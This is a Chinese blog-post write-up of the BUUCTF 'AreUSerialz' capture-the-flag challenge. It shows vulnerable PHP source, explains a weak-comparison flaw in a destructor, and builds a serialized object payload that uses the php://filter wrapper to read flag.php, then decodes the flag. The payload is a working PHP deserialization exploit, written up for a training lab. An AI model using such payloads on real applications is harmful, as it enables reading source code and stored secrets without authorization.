BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

7 篇文章 0 订阅

BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

看题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

可以看到,首先让我们传入一个str字符串,往后看到is_valid函数进行限制,传入的每个字符ascii码值必须在32~125之间,然后对传入的str执行反序列化。
先用destruct函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

如果op===2,那么op会赋值为1,content无值,并执行process函数,(===强类型比较)

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

process函数,若op=="1",则执行write函数;若op=="2",则执行read函数,并且将值赋到res然后输出;否则输出Bad Hacker!
此处为==,弱类型比较,op=="2",结果为true,op==="2",结果为false。
read函数

  private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

调用file_get_contents函数读取filename的内容,并且将值赋给res

include("flag.php");

可以通过php://filter伪协议读取flag.php中的内容。

构造反序列化

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}

$a = new FileHandler();
echo serialize($a);
?>

若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected改为public

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}

$a = new FileHandler();
echo serialize($a);
?>

得到序列化结果

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

构造payload

http://e4929784-06ac-4807-8418-f142d1f5c1be.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

得到一段base64加密的语句。

PD9waHAgJGZsYWc9J2ZsYWd7ODM0Y2UxOTAtZTdiMC00MGYxLWIxYTQtMDE2YjBhMTE3YjMyfSc7Cg==

base64解码得到

<?php $flag='flag{834ce190-e7b0-40f1-b1a4-016b0a117b32}';
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值